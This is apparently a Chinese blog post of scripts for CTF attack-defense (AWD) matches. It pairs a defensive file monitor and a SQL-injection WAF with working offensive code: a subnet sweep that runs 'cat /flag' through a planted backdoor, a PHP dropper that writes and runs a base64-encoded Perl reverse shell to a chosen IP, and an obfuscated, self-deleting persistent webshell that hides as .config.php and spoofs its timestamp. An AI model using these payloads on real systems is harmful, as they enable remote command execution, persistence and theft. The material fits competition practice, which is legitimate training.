CTF 线下AWD 一些py脚本
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CTF 线下AWD 一些py脚本
1、文件监控的脚本
# -*- coding: utf-8 -*- #use: python file_check.py ./ import os import hashlib import shutil import ntpath import time CWD = os.getcwd() FILE_MD5_DICT = {} # 文件MD5字典 ORIGIN_FILE_LIST = [] # 特殊文件路径字符串 Special_path_str = ‘drops_JWI96TY7ZKNMQPDRUOSG0FLH41A3C5EXVB82‘ bakstring = ‘bak_EAR1IBM0JT9HZ75WU4Y3Q8KLPCX26NDFOGVS‘ logstring = ‘log_WMY4RVTLAJFB28960SC3KZX7EUP1IHOQN5GD‘ webshellstring = ‘webshell_WMY4RVTLAJFB28960SC3KZX7EUP1IHOQN5GD‘ difffile = ‘diff_UMTGPJO17F82K35Z0LEDA6QB9WH4IYRXVSCN‘ Special_string = ‘drops_log‘ # 免死金牌 UNICODE_ENCODING = "utf-8" INVALID_UNICODE_CHAR_FORMAT = r"\?%02x" # 文件路径字典 spec_base_path = os.path.realpath(os.path.join(CWD, Special_path_str)) Special_path = { ‘bak‘ : os.path.realpath(os.path.join(spec_base_path, bakstring)), ‘log‘ : os.path.realpath(os.path.join(spec_base_path, logstring)), ‘webshell‘ : os.path.realpath(os.path.join(spec_base_path, webshellstring)), ‘difffile‘ : os.path.realpath(os.path.join(spec_base_path, difffile)), } def isListLike(value): return isinstance(value, (list, tuple, set)) # 获取Unicode编码 def getUnicode(value, encoding=None, noneToNull=False): if noneToNull and value is None: return NULL if isListLike(value): value = list(getUnicode(_, encoding, noneToNull) for _ in value) return value if isinstance(value, unicode): return value elif isinstance(value, basestring): while True: try: return unicode(value, encoding or UNICODE_ENCODING) except UnicodeDecodeError, ex: try: return unicode(value, UNICODE_ENCODING) except: value = value[:ex.start] + "".join(INVALID_UNICODE_CHAR_FORMAT % ord(_) for _ in value[ex.start:ex.end]) + value[ex.end:] else: try: return unicode(value) except UnicodeDecodeError: return unicode(str(value), errors="ignore") # 目录创建 def mkdir_p(path): import errno try: os.makedirs(path) except OSError as exc: if exc.errno == errno.EEXIST and os.path.isdir(path): pass else: raise # 获取当前所有文件路径 def getfilelist(cwd): filelist = [] for root,subdirs, files in os.walk(cwd): for filepath in files: originalfile = os.path.join(root, filepath) if Special_path_str not in originalfile: filelist.append(originalfile) return filelist # 计算机文件MD5值 def calcMD5(filepath): try: with open(filepath,‘rb‘) as f: md5obj = hashlib.md5() md5obj.update(f.read()) hash = md5obj.hexdigest() return hash except Exception, e: print u‘[!] getmd5_error : ‘ + getUnicode(filepath) print getUnicode(e) try: ORIGIN_FILE_LIST.remove(filepath) FILE_MD5_DICT.pop(filepath, None) except KeyError, e: pass # 获取所有文件MD5 def getfilemd5dict(filelist = []): filemd5dict = {} for ori_file in filelist: if Special_path_str not in ori_file: md5 = calcMD5(os.path.realpath(ori_file)) if md5: filemd5dict[ori_file] = md5 return filemd5dict # 备份所有文件 def backup_file(filelist=[]): # if len(os.listdir(Special_path[‘bak‘])) == 0: for filepath in filelist: if Special_path_str not in filepath: shutil.copy2(filepath, Special_path[‘bak‘]) if __name__ == ‘__main__‘: print u‘---------start------------‘ for value in Special_path: mkdir_p(Special_path[value]) # 获取所有文件路径，并获取所有文件的MD5，同时备份所有文件 ORIGIN_FILE_LIST = getfilelist(CWD) FILE_MD5_DICT = getfilemd5dict(ORIGIN_FILE_LIST) backup_file(ORIGIN_FILE_LIST) # TODO 备份文件可能会产生重名BUG print u‘[*] pre work end!‘ while True: file_list = getfilelist(CWD) # 移除新上传文件 diff_file_list = list(set(file_list) ^ set(ORIGIN_FILE_LIST)) if len(diff_file_list) != 0: # import pdb;pdb.set_trace() for filepath in diff_file_list: try: f = open(filepath, ‘r‘).read() except Exception, e: break if Special_string not in f: try: print u‘[*] webshell find : ‘ + getUnicode(filepath) shutil.move(filepath, os.path.join(Special_path[‘webshell‘], ntpath.basename(filepath) + ‘.txt‘)) except Exception as e: print u‘[!] move webshell error, "%s" maybe is webshell.‘%getUnicode(filepath) try: f = open(os.path.join(Special_path[‘log‘], ‘log.txt‘), ‘a‘) f.write(‘newfile: ‘ + getUnicode(filepath) + ‘ : ‘ + str(time.ctime()) + ‘\n‘) f.close() except Exception as e: print u‘[-] log error : file move error: ‘ + getUnicode(e) # 防止任意文件被修改,还原被修改文件 md5_dict = getfilemd5dict(ORIGIN_FILE_LIST) for filekey in md5_dict: if md5_dict[filekey] != FILE_MD5_DICT[filekey]: try: f = open(filekey, ‘r‘).read() except Exception, e: break if Special_string not in f: try: print u‘[*] file had be change : ‘ + getUnicode(filekey) shutil.move(filekey, os.path.join(Special_path[‘difffile‘], ntpath.basename(filekey) + ‘.txt‘)) shutil.move(os.path.join(Special_path[‘bak‘], ntpath.basename(filekey)), filekey) except Exception as e: print u‘[!] move webshell error, "%s" maybe is webshell.‘%getUnicode(filekey) try: f = open(os.path.join(Special_path[‘log‘], ‘log.txt‘), ‘a‘) f.write(‘diff_file: ‘ + getUnicode(filekey) + ‘ : ‘ + getUnicode(time.ctime()) + ‘\n‘) f.close() except Exception as e: print u‘[-] log error : done_diff: ‘ + getUnicode(filekey) pass time.sleep(2) # print ‘[*] ‘ + getUnicode(time.ctime())
预留后门利用
#coding=utf-8 import requests url_head="http://xxx.xx.xxx." #网段 url="" shell_addr="/Upload/index.php" passwd="xxxxx" #木马密码 port="80" payload = {passwd: ‘system(\‘cat /flag\‘);‘} webshelllist=open("webshelllist.txt","w") flag=open("firstround_flag.txt","w") for i in range(30,61): url=url_head+str(i)+":"+port+shell_addr try: res=requests.post(url,payload,timeout=1) if res.status_code == requests.codes.ok: result = url+" connect shell sucess,flag is "+res.text print result print >>flag,result print >>webshelllist,url+","+passwd else: print "shell 404" except: print url+" connect shell fail" webshelllist.close() flag.close()
自动提交flag
#!/usr/bin/env python2 import sys import json import urllib import httplib server_host = ‘ ‘ #提交flag的服务器地址 server_port = 80 def submit(team_token, flag, host=server_host, port=server_port, timeout=5): if not team_token or not flag: raise Exception(‘team token or flag wrong‘) conn = httplib.HTTPConnection(host, port, timeout=timeout) params = urllib.urlencode({ #提交需要post的参数,根据情况修改 ‘token‘: team_token, ‘flag‘: flag, }) headers = { "Content-type": "application/x-www-form-urlencode" } conn.request(‘POST‘, ‘[submit_flag_dir]‘, params, headers) #第二个参数为提交flag的目录 response = conn.getresponse() data = response.read() return json.loads(data) if __name__ == ‘__main__‘: if len(sys.argv) < 3: print ‘usage: ./submitflag.py [team_token] [flag]‘ sys.exit() host = server_host if len(sys.argv) > 3: host = sys.argv[3] print json.dumps(submit(sys.argv[1], sys.argv[2], host=host), indent=4)
反弹shell
<?php function which($pr) { $path = execute("which $pr"); return ($path ? $path : $pr); } function execute($cfe) { $res = ‘‘; if ($cfe) { if(function_exists(‘exec‘)) { @exec($cfe,$res); $res = join("\n",$res); } elseif (function_exists(‘shell_exec‘)) { $res = @shell_exec($cfe); } elseif (function_exists(‘system‘)) { @ob_start(); @system($cfe); $res = @ob_get_contents(); @ob_end_clean(); } elseif (function_exists(‘passthru‘)) { @ob_start(); @passthru($cfe); $res = @ob_get_contents(); @ob_end_clean(); } elseif (@is_resource($f = @popen($cfe, "r"))) { $res = ‘‘; while([email protected]($f)) { $res .= @fread($f,1024); } @pclose($f); } } return $res; } function cf($fname, $text) { if($fp = @fopen($fname, ‘w‘)) { @fputs($fp, @base64_decode($text)); @fclose($fp); } } $yourip = "your IP"; $yourport = ‘your port‘; $usedb = array(‘perl‘=>‘perl‘,‘c‘=>‘c‘); $back_connect = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj". "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR". "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT". "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI". "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi". "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl". "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw=="; cf(‘/tmp/.bc‘,$back_connect); $res = execute(which(‘perl‘)." /tmp/.bc $yourip $yourport &"); //上传并访问，用nc -l -vv -p [port]反弹shell ?>
不死马
<?php set_time_limit(0); ignore_user_abort(1); unlink(__FILE__); while(1){ file_put_contents(‘./.config.php‘, ‘<?php $_uU=chr(99).chr(104).chr(114);$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(40).$_uU(36).$_uU(95).$_(80).$_uU(79).$_uU(83).$_uU(84).$_uU(91).$_uU(49).$_uU(93).$_uU(41).$_uU(59);$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU(101).$_uU(95).$_uU(102).$_uU(117).$_uU(110).$_uU(99).$_uU(116).$_uU(105).$_uU(111).$_uU(110);$_$_fF("",$_cC);@$_();?>‘); system(‘chmod 777 .config.php‘); //持续在config.php中写入 touch("./.config.php", mktime(20,15,1,11,17,2017)); usleep(100); } ?>
傻逼的waf
<!-- require_once(‘waf.php‘) PHPCMS V9 \phpcms\base.php PHPWIND8.7 \data\sql_config.php DEDECMS5.7 \data\common.inc.php DiscuzX2 \config\config_global.php Wordpress \wp-config.php Metinfo \include\head.php --> <?php function customError($errno, $errstr, $errfile, $errline) { echo "<b>Error number:</b> [$errno],error on line $errline in $errfile<br />"; die(); } set_error_handler("customError", E_ERROR); $getfilter="‘|(and|or)\\b.+?(>|<|=|in|like)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)"; $postfilter="\\b(and|or)\\b.{1,6}?(=|>|<|\\bin\b|\\blike\\b)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)"; $cookiefilter="\\b(and|or)\\b.{1.6}?(=|>|<|\\bin\\b|\\blike\\b)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)"; function DefendAttack($StrFiltKey, $StrFiltValue, $ArrFiltReq) { if(is_array($StrFiltValue)) { $StrFiltValue = implode($StrFiltValue); } if(preg_match("/".$ArrFiltReq."/is", $StrFiltValue)==1) { //slog("<br><br>操作IP: ".$_SERVER["REMOTE_ADDR"]."<br>操作时间: ".strftime("%Y-%m-%d %H:%M:%S")."<br>操作页面: ".$_SERVER["PHP_SELF"]."<br>提交方式: ".$_SERVER["REQUEST_METHOD"]."<br>提交参数: ".$StrFiltKey."<br>提交参数: ".$StrFiltValue); print "360WebSec notice: Illegal operation!"; exit(); } } //$ArrPGC = array_merge($_GET, $_POST, $_COOKIE); foreach ($_GET as $key => $value) { DefendAttack($key, $value, $getfilter); } foreach ($_POST as $key => $value) { DefendAttack($key, $value, $postfilter); } foreach ($_COOKIE as $key => $value) { DefendAttack($key, $value, $cookiefilter); } if (file_exists(filename)) { # code... } function slog($logs) { $toppath = $_SERVER["DOCUMENT_ROOT"]."/log.htm"; $Ts=fopen($toppath, "a+"); fputs($Ts, $logs."\r\n"); fclose($Ts); } ?>
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